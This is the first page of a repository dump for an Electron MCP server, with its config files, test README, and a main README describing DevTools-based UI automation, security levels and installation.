This is page 1 of 2. Use http://codebase.md/halilural/electron-mcp-server?lines=true&page={x} to view the full context.
# Directory Structure
```
├── .env.example
├── .gitignore
├── .npmignore
├── .prettierignore
├── .prettierrc
├── assets
│ └── demo.mp4
├── eslint.config.ts
├── ISSUE_TEMPLATE.md
├── LICENSE
├── MCP_USAGE_GUIDE.md
├── mcp-config.json
├── package-lock.json
├── package.json
├── REACT_COMPATIBILITY_ISSUES.md
├── README.md
├── SECURITY_CONFIG.md
├── SECURITY.md
├── src
│ ├── handlers.ts
│ ├── index.ts
│ ├── schemas.ts
│ ├── screenshot.ts
│ ├── security
│ │ ├── audit.ts
│ │ ├── config.ts
│ │ ├── manager.ts
│ │ ├── sandbox.ts
│ │ └── validation.ts
│ ├── tools.ts
│ └── utils
│ ├── electron-commands.ts
│ ├── electron-connection.ts
│ ├── electron-discovery.ts
│ ├── electron-enhanced-commands.ts
│ ├── electron-input-commands.ts
│ ├── electron-logs.ts
│ ├── electron-process.ts
│ ├── logger.ts
│ ├── logs.ts
│ └── project.ts
├── tests
│ ├── conftest.ts
│ ├── integration
│ │ ├── electron-security-integration.test.ts
│ │ └── react-compatibility
│ │ ├── react-test-app.html
│ │ ├── README.md
│ │ └── test-react-electron.cjs
│ ├── support
│ │ ├── config.ts
│ │ ├── helpers.ts
│ │ └── setup.ts
│ └── unit
│ └── security-manager.test.ts
├── tsconfig.json
├── vitest.config.ts
└── webpack.config.ts
```
# Files
--------------------------------------------------------------------------------
/.prettierrc:
--------------------------------------------------------------------------------
```
1 | {
2 | "semi": true,
3 | "singleQuote": true,
4 | "printWidth": 100,
5 | "tabWidth": 2,
6 | "trailingComma": "all"
7 | }
8 |
```
--------------------------------------------------------------------------------
/.prettierignore:
--------------------------------------------------------------------------------
```
1 | # Dependencies
2 | node_modules/
3 |
4 | # Build outputs
5 | dist/
6 | build/
7 |
8 | # Coverage reports
9 | coverage/
10 |
11 | # Logs
12 | *.log
13 | logs/
14 |
15 | # OS files
16 | .DS_Store
17 | Thumbs.db
18 |
19 | # IDE files
20 | .vscode/
21 | .idea/
22 |
23 | # Package manager files
24 | package-lock.json
25 | yarn.lock
26 | pnpm-lock.yaml
27 |
```
--------------------------------------------------------------------------------
/.npmignore:
--------------------------------------------------------------------------------
```
1 | # Source files (only publish dist)
2 | src/
3 | tsconfig.json
4 | vitest.config.ts
5 |
6 | # Development files
7 | .vscode/
8 | test/
9 | example-app
10 | example-app-2
11 | tools/
12 |
13 | # Test and debug files
14 | test-*.js
15 | *-test.js
16 | *-debug.js
17 |
18 | # CI/CD
19 | .github/
20 |
21 | # IDE
22 | .idea/
23 | *.swp
24 | *.swo
25 |
26 | # OS
27 | .DS_Store
28 | Thumbs.db
29 |
30 | # Logs
31 | *.log
32 | npm-debug.log*
33 |
34 | # Dependencies
35 | node_modules/
36 |
37 | # Coverage
38 | coverage/
39 |
```
--------------------------------------------------------------------------------
/.env.example:
--------------------------------------------------------------------------------
```
1 | # Electron MCP Server Environment Configuration
2 | # Copy this file to .env and configure the values for your environment
3 |
4 | # =============================================================================
5 | # LOGGING CONFIGURATION
6 | # =============================================================================
7 |
8 | # Set the log level for the MCP server (used in src/utils/logger.ts)
9 | # Options: DEBUG, INFO, WARN, ERROR
10 | # Default: INFO if not set
11 | MCP_LOG_LEVEL=INFO
12 |
13 | # =============================================================================
14 | # SECURITY CONFIGURATION (REQUIRED)
15 | # =============================================================================
16 |
17 | # Security level for the MCP server (used in src/security/config.ts)
18 | # Options: strict, balanced, permissive, development
19 | # Default: balanced if not set
20 | # - strict: Maximum security - blocks most function calls
21 | # - balanced: Default - allows safe UI interactions
22 | # - permissive: Minimal restrictions - allows more operations
23 | # - development: Least restrictive - for development/testing only
24 | SECURITY_LEVEL=balanced
25 |
26 | # Encryption key for screenshot data (OPTIONAL - fallback available)
27 | # If not set, a temporary key will be generated for each session
28 | # For production use, set this to a secure 32-byte hex string
29 | # Must be at least 32 characters long for security
30 | # Generate a secure key with: openssl rand -hex 32
31 | # WARNING: Without a persistent key, encrypted screenshots cannot be decrypted after restart
32 | SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string-here
33 |
```
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
```
1 | # Logs
2 | logs
3 | *.log
4 | npm-debug.log*
5 | yarn-debug.log*
6 | yarn-error.log*
7 | lerna-debug.log*
8 | .pnpm-debug.log*
9 |
10 | # Diagnostic reports (https://nodejs.org/api/report.html)
11 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
12 |
13 | # Runtime data
14 | pids
15 | *.pid
16 | *.seed
17 | *.pid.lock
18 |
19 | # Directory for instrumented libs generated by jscoverage/JSCover
20 | lib-cov
21 |
22 | # Coverage directory used by tools like istanbul
23 | coverage
24 | *.lcov
25 |
26 | # nyc test coverage
27 | .nyc_output
28 |
29 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
30 | .grunt
31 |
32 | # Bower dependency directory (https://bower.io/)
33 | bower_components
34 |
35 | # node-waf configuration
36 | .lock-wscript
37 |
38 | # Compiled binary addons (https://nodejs.org/api/addons.html)
39 | build/Release
40 |
41 | # Dependency directories
42 | node_modules/
43 | jspm_packages/
44 |
45 | # Snowpack dependency directory (https://snowpack.dev/)
46 | web_modules/
47 |
48 | # TypeScript cache
49 | *.tsbuildinfo
50 |
51 | # Optional npm cache directory
52 | .npm
53 |
54 | # Optional eslint cache
55 | .eslintcache
56 |
57 | # Optional stylelint cache
58 | .stylelintcache
59 |
60 | # Microbundle cache
61 | .rpt2_cache/
62 | .rts2_cache_cjs/
63 | .rts2_cache_es/
64 | .rts2_cache_umd/
65 |
66 | # Optional REPL history
67 | .node_repl_history
68 |
69 | # Output of 'npm pack'
70 | *.tgz
71 |
72 | # Yarn Integrity file
73 | .yarn-integrity
74 |
75 | # dotenv environment variable files
76 | .env
77 | .env.development.local
78 | .env.test.local
79 | .env.production.local
80 | .env.local
81 |
82 | # parcel-bundler cache (https://parceljs.org/)
83 | .cache
84 | .parcel-cache
85 |
86 | # Next.js build output
87 | .next
88 | out
89 |
90 | # Nuxt.js build / generate output
91 | .nuxt
92 | dist
93 |
94 | # Gatsby files
95 | .cache/
96 | # Comment in the public line in if your project uses Gatsby and not Next.js
97 | # https://nextjs.org/blog/next-9-1#public-directory-support
98 | # public
99 |
100 | # vuepress build output
101 | .vuepress/dist
102 |
103 | # vuepress v2.x temp and cache directory
104 | .temp
105 | .cache
106 |
107 | # Docusaurus cache and generated files
108 | .docusaurus
109 |
110 | # Serverless directories
111 | .serverless/
112 |
113 | # FuseBox cache
114 | .fusebox/
115 |
116 | # DynamoDB Local files
117 | .dynamodb/
118 |
119 | # TernJS port file
120 | .tern-port
121 |
122 | # Stores VSCode versions used for testing VSCode extensions
123 | .vscode-test
124 |
125 | # yarn v2
126 | .yarn/cache
127 | .yarn/unplugged
128 | .yarn/build-state.yml
129 | .yarn/install-state.gz
130 | .pnp.*
131 |
132 | # Build output
133 | dist/
134 | build/
135 | lib/
136 |
137 | # TypeScript output
138 | *.d.ts
139 |
140 | # Electron specific
141 | out/
142 | dist_electron/
143 |
144 | # Testing
145 | test-results/
146 | coverage/
147 | .nyc_output/
148 | test-temp/
149 | temp/
150 |
151 | # Example App
152 | example-app
153 | example-app-2
154 |
155 | # IDE
156 | .vscode/
157 | .idea/
158 | *.swp
159 | *.swo
160 |
161 | # OS
162 | .DS_Store
163 | Thumbs.db
164 |
```
--------------------------------------------------------------------------------
/tests/integration/react-compatibility/README.md:
--------------------------------------------------------------------------------
```markdown
1 | # React Compatibility Tests
2 |
3 | This directory contains test files for validating React compatibility with the Electron MCP Server.
4 |
5 | ## Files
6 |
7 | ### `react-test-app.html`
8 | A comprehensive React test application that demonstrates:
9 | - Click command compatibility with `preventDefault()` behavior
10 | - Form input detection and filling capabilities
11 | - Various React event handling patterns
12 | - Multiple input types (text, email, password, number, textarea)
13 |
14 | ### `test-react-electron.cjs`
15 | Electron wrapper application that:
16 | - Loads the React test app in an Electron window
17 | - Enables remote debugging on port 9222 for MCP server connection
18 | - Provides a controlled test environment
19 |
20 | ## Usage
21 |
22 | ### Running the Test App
23 | ```bash
24 | # From the project root
25 | cd tests/integration/react-compatibility
26 | electron test-react-electron.cjs
27 | ```
28 |
29 | ### Testing with MCP Server
30 | Once the Electron app is running, you can test MCP commands:
31 |
32 | ```bash
33 | # Test click commands
34 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node ../../../dist/index.js
35 |
36 | # Test form input filling
37 | echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node ../../../dist/index.js
38 |
39 | # Get page structure
40 | echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node ../../../dist/index.js
41 | ```
42 |
43 | ## Test Scenarios
44 |
45 | ### Issue 1: Click Commands with preventDefault
46 | - **React Button (preventDefault)**: Tests click commands on React components that call `e.preventDefault()`
47 | - **Normal Button**: Tests click commands without preventDefault
48 | - **Stop Propagation Button**: Tests click commands with `e.stopPropagation()`
49 |
50 | ### Issue 3: Form Input Detection
51 | - **Username Field**: Text input with label and placeholder
52 | - **Email Field**: Email input type validation
53 | - **Password Field**: Password input type
54 | - **Age Field**: Number input type
55 | - **Comments Field**: Textarea element
56 |
57 | All form inputs test the scoring algorithm in `electron-input-commands.ts` for React-rendered elements.
58 |
59 | ## Expected Results
60 |
61 | ✅ All click commands should work (preventDefault fix applied)
62 | ✅ All form inputs should be detected and fillable
63 | ✅ Page structure should show all React-rendered elements
64 | ✅ No "Click events were cancelled by the page" errors
65 | ✅ No "No suitable input found" errors
66 |
```
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
```markdown
1 | # Electron MCP Server
2 |
3 | [](https://github.com/halilural/electron-mcp-server/blob/master/LICENSE)
4 | [](https://www.npmjs.com/package/electron-mcp-server)
5 | [](https://modelcontextprotocol.io)
6 |
7 | A powerful Model Context Protocol (MCP) server that provides comprehensive Electron application automation, debugging, and observability capabilities. Supercharge your Electron development workflow with AI-powered automation through Chrome DevTools Protocol integration.
8 |
9 | ## Demo
10 |
11 | See the Electron MCP Server in action:
12 |
13 | [](https://vimeo.com/1104937830)
14 |
15 | **[🎬 Watch Full Demo on Vimeo](https://vimeo.com/1104937830)**
16 |
17 | *Watch how easy it is to automate Electron applications with AI-powered MCP commands.*
18 |
19 | ## 🎯 What Makes This Special
20 |
21 | Transform your Electron development experience with **AI-powered automation**:
22 |
23 | - **🔄 Real-time UI Automation**: Click buttons, fill forms, and interact with any Electron app programmatically
24 | - **📸 Visual Debugging**: Take screenshots and capture application state without interrupting development
25 | - **🔍 Deep Inspection**: Extract DOM elements, application data, and performance metrics in real-time
26 | - **⚡ DevTools Protocol Integration**: Universal compatibility with any Electron app - no modifications required
27 | - **🚀 Development Observability**: Monitor logs, system info, and application behavior seamlessly
28 |
29 | ## 🔒 Security & Configuration
30 |
31 | **Configurable security levels** to balance safety with functionality:
32 |
33 | ### Security Levels
34 |
35 | - **🔒 STRICT**: Maximum security for production environments
36 | - **⚖️ BALANCED**: Default security with safe UI interactions (recommended)
37 | - **🔓 PERMISSIVE**: More functionality for trusted environments
38 | - **🛠️ DEVELOPMENT**: Minimal restrictions for development/testing
39 |
40 | ### Environment Configuration
41 |
42 | Configure the security level and other settings through your MCP client configuration:
43 |
44 | **VS Code MCP Settings:**
45 | ```json
46 | {
47 | "mcp": {
48 | "servers": {
49 | "electron": {
50 | "command": "npx",
51 | "args": ["-y", "electron-mcp-server"],
52 | "env": {
53 | "SECURITY_LEVEL": "balanced",
54 | "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
55 | }
56 | }
57 | }
58 | }
59 | }
60 | ```
61 |
62 | **Claude Desktop Configuration:**
63 | ```json
64 | {
65 | "mcpServers": {
66 | "electron": {
67 | "command": "npx",
68 | "args": ["-y", "electron-mcp-server"],
69 | "env": {
70 | "SECURITY_LEVEL": "balanced",
71 | "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
72 | }
73 | }
74 | }
75 | }
76 | ```
77 |
78 | **Alternative: Local .env file (for development):**
79 | ```bash
80 | # Create .env file in your project directory
81 | SECURITY_LEVEL=balanced
82 | SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string
83 | ```
84 |
85 | **Security Level Behaviors:**
86 |
87 | | Level | UI Interactions | DOM Queries | Property Access | Assignments | Function Calls | Risk Threshold |
88 | |-------|-----------------|-------------|-----------------|-------------|----------------|----------------|
89 | | `strict` | ❌ Blocked | ❌ Blocked | ✅ Allowed | ❌ Blocked | ❌ None allowed | Low |
90 | | `balanced` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ❌ Blocked | ✅ Safe UI functions | Medium |
91 | | `permissive` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Extended UI functions | High |
92 | | `development` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ All functions | Critical |
93 |
94 | **Environment Setup:**
95 |
96 | 1. Copy `.env.example` to `.env`
97 | 2. Set `SECURITY_LEVEL` to your desired level
98 | 3. Configure other security settings as needed
99 |
100 | ```bash
101 | cp .env.example .env
102 | # Edit .env and set SECURITY_LEVEL=balanced
103 | ```
104 |
105 | ### Secure UI Interaction Commands
106 |
107 | Instead of raw JavaScript eval, use these secure commands:
108 |
109 | ```javascript
110 | // ✅ Secure button clicking
111 | {
112 | "command": "click_by_text",
113 | "args": { "text": "Create New Encyclopedia" }
114 | }
115 |
116 | // ✅ Secure element selection
117 | {
118 | "command": "click_by_selector",
119 | "args": { "selector": "button[title='Create']" }
120 | }
121 |
122 | // ✅ Secure keyboard shortcuts
123 | {
124 | "command": "send_keyboard_shortcut",
125 | "args": { "text": "Ctrl+N" }
126 | }
127 |
128 | // ✅ Secure navigation
129 | {
130 | "command": "navigate_to_hash",
131 | "args": { "text": "create" }
132 | }
133 | ```
134 |
135 | See [SECURITY_CONFIG.md](./SECURITY_CONFIG.md) for detailed security documentation.
136 |
137 | ## 🎯 Proper MCP Usage Guide
138 |
139 | ### ⚠️ Critical: Argument Structure
140 |
141 | **The most common mistake** when using this MCP server is incorrect argument structure for the `send_command_to_electron` tool.
142 |
143 | #### ❌ Wrong (causes "selector is empty" errors):
144 |
145 | ```javascript
146 | {
147 | "command": "click_by_selector",
148 | "args": "button.submit-btn" // ❌ Raw string - WRONG!
149 | }
150 | ```
151 |
152 | #### ✅ Correct:
153 |
154 | ```javascript
155 | {
156 | "command": "click_by_selector",
157 | "args": {
158 | "selector": "button.submit-btn" // ✅ Object with selector property
159 | }
160 | }
161 | ```
162 |
163 | ### 📋 Command Argument Reference
164 |
165 | | Command | Required Args | Example |
166 | | --------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------ |
167 | | `click_by_selector` | `{"selector": "css-selector"}` | `{"selector": "button.primary"}` |
168 | | `click_by_text` | `{"text": "button text"}` | `{"text": "Submit"}` |
169 | | `fill_input` | `{"value": "text", "selector": "..."}` or `{"value": "text", "placeholder": "..."}` | `{"placeholder": "Enter name", "value": "John"}` |
170 | | `send_keyboard_shortcut` | `{"text": "key combination"}` | `{"text": "Ctrl+N"}` |
171 | | `eval` | `{"code": "javascript"}` | `{"code": "document.title"}` |
172 | | `get_title`, `get_url`, `get_body_text` | No args needed | `{}` or omit args |
173 |
174 | ### 🔄 Recommended Workflow
175 |
176 | 1. **Inspect**: Start with `get_page_structure` or `debug_elements`
177 | 2. **Target**: Use specific selectors or text-based targeting
178 | 3. **Interact**: Use the appropriate command with correct argument structure
179 | 4. **Verify**: Take screenshots or check page state
180 |
181 | ```javascript
182 | // Step 1: Understand the page
183 | {
184 | "command": "get_page_structure"
185 | }
186 |
187 | // Step 2: Click button using text (most reliable)
188 | {
189 | "command": "click_by_text",
190 | "args": {
191 | "text": "Create New Encyclopedia"
192 | }
193 | }
194 |
195 | // Step 3: Fill form field
196 | {
197 | "command": "fill_input",
198 | "args": {
199 | "placeholder": "Enter encyclopedia name",
200 | "value": "AI and Machine Learning"
201 | }
202 | }
203 |
204 | // Step 4: Submit with selector
205 | {
206 | "command": "click_by_selector",
207 | "args": {
208 | "selector": "button[type='submit']"
209 | }
210 | }
211 | ```
212 |
213 | ### 🐛 Troubleshooting Common Issues
214 |
215 | | Error | Cause | Solution |
216 | | -------------------------------- | -------------------------------- | ------------------------------ |
217 | | "The provided selector is empty" | Passing string instead of object | Use `{"selector": "..."}` |
218 | | "Element not found" | Wrong selector | Use `get_page_structure` first |
219 | | "Command blocked" | Security restriction | Check security level settings |
220 | | "Click prevented - too soon" | Rapid consecutive clicks | Wait before retrying |
221 |
222 | ## 🛠️ Security Features
223 |
224 | **Enterprise-grade security** built for safe AI-powered automation:
225 |
226 | - **🔒 Sandboxed Execution**: All code runs in isolated environments with strict resource limits
227 | - **🔍 Input Validation**: Advanced static analysis detects and blocks dangerous code patterns
228 | - **📝 Comprehensive Auditing**: Encrypted logs track all operations with full traceability
229 | - **🖼️ Secure Screenshots**: Encrypted screenshot data with clear user notifications
230 | - **⚠️ Risk Assessment**: Automatic threat detection with configurable security thresholds
231 | - **🚫 Zero Trust**: Dangerous functions like `eval`, file system access, and network requests are blocked by default
232 |
233 | > **Safety First**: Every command is analyzed, validated, and executed in a secure sandbox before reaching your application.
234 |
235 | ## �🚀 Key Features
236 |
237 | ### 🎮 Application Control & Automation
238 |
239 | - **Launch & Manage**: Start, stop, and monitor Electron applications with full lifecycle control
240 | - **Interactive Automation**: Execute JavaScript code directly in running applications via WebSocket
241 | - **UI Testing**: Automate button clicks, form interactions, and user workflows
242 | - **Process Management**: Track PIDs, monitor resource usage, and handle graceful shutdowns
243 |
244 | ### 📊 Advanced Observability
245 |
246 | - **Screenshot Capture**: Non-intrusive visual snapshots using Playwright and Chrome DevTools Protocol
247 | - **Real-time Logs**: Stream application logs (main process, renderer, console) with filtering
248 | - **Window Information**: Get detailed window metadata, titles, URLs, and target information
249 | - **System Monitoring**: Track memory usage, uptime, and performance metrics
250 |
251 | ### 🛠️ Development Productivity
252 |
253 | - **Universal Compatibility**: Works with any Electron app without requiring code modifications
254 | - **DevTools Integration**: Leverage Chrome DevTools Protocol for powerful debugging capabilities
255 | - **Build Automation**: Cross-platform building for Windows, macOS, and Linux
256 | - **Environment Management**: Clean environment handling and debugging port configuration
257 |
258 | ## 📦 Installation
259 |
260 | ### VS Code Integration (Recommended)
261 |
262 | [](https://insiders.vscode.dev/redirect/mcp/install?name=electron&config=%7B%22command%22%3A%22npx%22%2C%22args%22%3A%5B%22-y%22%2C%22electron-mcp-server%22%5D%7D)
263 |
264 | Add to your VS Code MCP settings:
265 |
266 | ```json
267 | {
268 | "mcp": {
269 | "servers": {
270 | "electron": {
271 | "command": "npx",
272 | "args": ["-y", "electron-mcp-server"],
273 | "env": {
274 | "SECURITY_LEVEL": "balanced",
275 | "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
276 | }
277 | }
278 | }
279 | }
280 | }
281 | ```
282 |
283 | ### Claude Desktop Integration
284 |
285 | Add to `~/Library/Application Support/Claude/claude_desktop_config.json`:
286 |
287 | ```json
288 | {
289 | "mcpServers": {
290 | "electron": {
291 | "command": "npx",
292 | "args": ["-y", "electron-mcp-server"],
293 | "env": {
294 | "SECURITY_LEVEL": "balanced",
295 | "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
296 | }
297 | }
298 | }
299 | }
300 | ```
301 |
302 | ### Global Installation
303 |
304 | ```bash
305 | npm install -g electron-mcp-server
306 | ```
307 |
308 | ## 🔧 Available Tools
309 |
310 | ### `launch_electron_app`
311 |
312 | Launch an Electron application with debugging capabilities.
313 |
314 | ```javascript
315 | {
316 | "appPath": "/path/to/electron-app",
317 | "devMode": true, // Enables Chrome DevTools Protocol on port 9222
318 | "args": ["--enable-logging", "--dev"]
319 | }
320 | ```
321 |
322 | **Returns**: Process ID and launch confirmation
323 |
324 | ### `get_electron_window_info`
325 |
326 | Get comprehensive window and target information via Chrome DevTools Protocol.
327 |
328 | ```javascript
329 | {
330 | "includeChildren": true // Include child windows and DevTools instances
331 | }
332 | ```
333 |
334 | **Returns**:
335 |
336 | - Window IDs, titles, URLs, and types
337 | - DevTools Protocol target information
338 | - Platform details and process information
339 |
340 | ### `take_screenshot`
341 |
342 | Capture high-quality screenshots using Playwright and Chrome DevTools Protocol.
343 |
344 | ```javascript
345 | {
346 | "outputPath": "/path/to/screenshot.png", // Optional: defaults to temp directory
347 | "windowTitle": "My App" // Optional: target specific window
348 | }
349 | ```
350 |
351 | **Features**:
352 |
353 | - Non-intrusive capture (doesn't bring window to front)
354 | - Works with any Electron app
355 | - Fallback to platform-specific tools if needed
356 |
357 | ### `send_command_to_electron`
358 |
359 | Execute JavaScript commands in the running Electron application via WebSocket.
360 |
361 | ```javascript
362 | {
363 | "command": "eval", // Built-in commands: eval, get_title, get_url, click_button, console_log
364 | "args": {
365 | "code": "document.querySelector('button').click(); 'Button clicked!'"
366 | }
367 | }
368 | ```
369 |
370 | **Enhanced UI Interaction Commands**:
371 |
372 | - `find_elements`: Analyze all interactive UI elements with their properties and positions
373 | - `click_by_text`: Click elements by their visible text, aria-label, or title (more reliable than selectors)
374 | - `fill_input`: Fill input fields by selector, placeholder text, or associated label text
375 | - `select_option`: Select dropdown options by value or visible text
376 | - `get_page_structure`: Get organized overview of all page elements (buttons, inputs, selects, links)
377 | - `get_title`: Get document title
378 | - `get_url`: Get current URL
379 | - `get_body_text`: Extract visible text content
380 | - `click_button`: Click buttons by CSS selector (basic method)
381 | - `console_log`: Send console messages
382 | - `eval`: Execute custom JavaScript code
383 |
384 | **Recommended workflow**: Use `get_page_structure` first to understand available elements, then use specific interaction commands like `click_by_text` or `fill_input`.
385 |
386 | ### `read_electron_logs`
387 |
388 | Stream application logs from main process, renderer, and console.
389 |
390 | ```javascript
391 | {
392 | "logType": "all", // Options: "all", "main", "renderer", "console"
393 | "lines": 50, // Number of recent lines
394 | "follow": false // Stream live logs
395 | }
396 | ```
397 |
398 | ### `close_electron_app`
399 |
400 | Gracefully close the Electron application.
401 |
402 | ```javascript
403 | {
404 | "force": false // Force kill if unresponsive
405 | }
406 | ```
407 |
408 | ### `build_electron_app`
409 |
410 | Build Electron applications for distribution.
411 |
412 | ```javascript
413 | {
414 | "projectPath": "/path/to/project",
415 | "platform": "darwin", // win32, darwin, linux
416 | "arch": "x64", // x64, arm64, ia32
417 | "debug": false
418 | }
419 | ```
420 |
421 | ## 💡 Usage Examples
422 |
423 | ### Smart UI Interaction Workflow
424 |
425 | ```javascript
426 | // 1. First, understand the page structure
427 | await send_command_to_electron({
428 | command: 'get_page_structure',
429 | });
430 |
431 | // 2. Click a button by its text (much more reliable than selectors)
432 | await send_command_to_electron({
433 | command: 'click_by_text',
434 | args: {
435 | text: 'Login', // Finds buttons containing "Login" in text, aria-label, or title
436 | },
437 | });
438 |
439 | // 3. Fill inputs by their label or placeholder text
440 | await send_command_to_electron({
441 | command: 'fill_input',
442 | args: {
443 | text: 'username', // Finds input with label "Username" or placeholder "Enter username"
444 | value: '[email protected]',
445 | },
446 | });
447 |
448 | await send_command_to_electron({
449 | command: 'fill_input',
450 | args: {
451 | text: 'password',
452 | value: 'secretpassword',
453 | },
454 | });
455 |
456 | // 4. Select dropdown options by visible text
457 | await send_command_to_electron({
458 | command: 'select_option',
459 | args: {
460 | text: 'country', // Finds select with label containing "country"
461 | value: 'United States', // Selects option with this text
462 | },
463 | });
464 |
465 | // 5. Take a screenshot to verify the result
466 | await take_screenshot();
467 | ```
468 |
469 | ### Advanced Element Detection
470 |
471 | ```javascript
472 | // Find all interactive elements with detailed information
473 | await send_command_to_electron({
474 | command: 'find_elements',
475 | });
476 |
477 | // This returns detailed info about every clickable element and input:
478 | // {
479 | // "type": "clickable",
480 | // "text": "Submit Form",
481 | // "id": "submit-btn",
482 | // "className": "btn btn-primary",
483 | // "ariaLabel": "Submit the registration form",
484 | // "position": { "x": 100, "y": 200, "width": 120, "height": 40 },
485 | // "visible": true
486 | // }
487 | ```
488 |
489 | ### Automated UI Testing
490 |
491 | ```javascript
492 | // Launch app in development mode
493 | await launch_electron_app({
494 | appPath: '/path/to/app',
495 | devMode: true,
496 | });
497 |
498 | // Take a screenshot
499 | await take_screenshot();
500 |
501 | // Click a button programmatically
502 | await send_command_to_electron({
503 | command: 'eval',
504 | args: {
505 | code: "document.querySelector('#submit-btn').click()",
506 | },
507 | });
508 |
509 | // Verify the result
510 | await send_command_to_electron({
511 | command: 'get_title',
512 | });
513 | ```
514 |
515 | ### Development Debugging
516 |
517 | ```javascript
518 | // Get window information
519 | const windowInfo = await get_electron_window_info();
520 |
521 | // Extract application data
522 | await send_command_to_electron({
523 | command: 'eval',
524 | args: {
525 | code: 'JSON.stringify(window.appState, null, 2)',
526 | },
527 | });
528 |
529 | // Monitor logs
530 | await read_electron_logs({
531 | logType: 'all',
532 | lines: 100,
533 | });
534 | ```
535 |
536 | ### Performance Monitoring
537 |
538 | ```javascript
539 | // Get system information
540 | await send_command_to_electron({
541 | command: 'eval',
542 | args: {
543 | code: '({memory: performance.memory, timing: performance.timing})',
544 | },
545 | });
546 |
547 | // Take periodic screenshots for visual regression testing
548 | await take_screenshot({
549 | outputPath: '/tests/screenshots/current.png',
550 | });
551 | ```
552 |
553 | ## 🏗️ Architecture
554 |
555 | ### Chrome DevTools Protocol Integration
556 |
557 | - **Universal Compatibility**: Works with any Electron app that has remote debugging enabled
558 | - **Real-time Communication**: WebSocket-based command execution with the renderer process
559 | - **No App Modifications**: Zero changes required to target applications
560 |
561 | ### Process Management
562 |
563 | - **Clean Environment**: Handles `ELECTRON_RUN_AS_NODE` and other environment variables
564 | - **Resource Tracking**: Monitors PIDs, memory usage, and application lifecycle
565 | - **Graceful Shutdown**: Proper cleanup and process termination
566 |
567 | ### Cross-Platform Support
568 |
569 | - **macOS**: Uses Playwright CDP with screencapture fallback
570 | - **Windows**: PowerShell-based window detection and capture
571 | - **Linux**: X11 window management (planned)
572 |
573 | ## 🧪 Development
574 |
575 | ### Prerequisites
576 |
577 | - Node.js 18+
578 | - TypeScript 4.5+
579 | - **Electron** - Required for running and testing Electron applications
580 |
581 | ```bash
582 | # Install Electron globally (recommended)
583 | npm install -g electron
584 |
585 | # Or install locally in your project
586 | npm install electron --save-dev
587 | ```
588 |
589 | ### Target Application Setup
590 |
591 | For the MCP server to work with your Electron application, you need to enable remote debugging. Add this code to your Electron app's main process:
592 |
593 | ```javascript
594 | const { app } = require('electron');
595 | const isDev = process.env.NODE_ENV === 'development' || process.argv.includes('--dev');
596 |
597 | // Enable remote debugging in development mode
598 | if (isDev) {
599 | app.commandLine.appendSwitch('remote-debugging-port', '9222');
600 | }
601 | ```
602 |
603 | **Alternative approaches:**
604 |
605 | ```bash
606 | # Launch your app with debugging enabled
607 | electron . --remote-debugging-port=9222
608 |
609 | # Or via npm script
610 | npm run dev -- --remote-debugging-port=9222
611 | ```
612 |
613 | **Note:** The MCP server automatically scans ports 9222-9225 to detect running Electron applications with remote debugging enabled.
614 |
615 | ### Setup
616 |
617 | ```bash
618 | git clone https://github.com/halilural/electron-mcp-server.git
619 | cd electron-mcp-server
620 |
621 | npm install
622 | npm run build
623 |
624 | # Run tests
625 | npm test
626 |
627 | # Development mode with auto-rebuild
628 | npm run dev
629 | ```
630 |
631 | ### Testing
632 |
633 | The project includes comprehensive test files for React compatibility:
634 |
635 | ```bash
636 | # Run React compatibility tests
637 | cd tests/integration/react-compatibility
638 | electron test-react-electron.js
639 | ```
640 |
641 | See [`tests/integration/react-compatibility/README.md`](tests/integration/react-compatibility/README.md) for detailed testing instructions and scenarios.
642 |
643 | ### React Compatibility
644 |
645 | This MCP server has been thoroughly tested with React applications and handles common React patterns correctly:
646 |
647 | - **✅ React Event Handling**: Properly handles `preventDefault()` in click handlers
648 | - **✅ Form Input Detection**: Advanced scoring algorithm works with React-rendered inputs
649 | - **✅ Component Interaction**: Compatible with React components, hooks, and state management
650 |
651 | ### Project Structure
652 |
653 | ```
654 | src/
655 | ├── handlers.ts # MCP tool handlers
656 | ├── index.ts # Server entry point
657 | ├── tools.ts # Tool definitions
658 | ├── screenshot.ts # Screenshot functionality
659 | ├── utils/
660 | │ ├── process.ts # Process management & DevTools Protocol
661 | │ ├── logs.ts # Log management
662 | │ └── project.ts # Project scaffolding
663 | └── schemas/ # JSON schemas for validation
664 | ```
665 |
666 | ## 🔐 Security & Best Practices
667 |
668 | - **Sandboxed Execution**: All JavaScript execution is contained within the target Electron app
669 | - **Path Validation**: Only operates on explicitly provided application paths
670 | - **Process Isolation**: Each launched app runs in its own process space
671 | - **No Persistent Access**: No permanent modifications to target applications
672 |
673 | ## 🤝 Contributing
674 |
675 | We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details.
676 |
677 | **Before reporting issues**: Please use the standardized [`ISSUE_TEMPLATE.md`](ISSUE_TEMPLATE.md) for proper bug reporting format. For React compatibility problems or similar technical issues, also review [`REACT_COMPATIBILITY_ISSUES.md`](REACT_COMPATIBILITY_ISSUES.md) for detailed debugging examples, including proper command examples, error outputs, and reproduction steps.
678 |
679 | 1. Fork the repository
680 | 2. Create a feature branch (`git checkout -b feature/awesome-feature`)
681 | 3. Commit your changes (`git commit -m 'Add awesome feature'`)
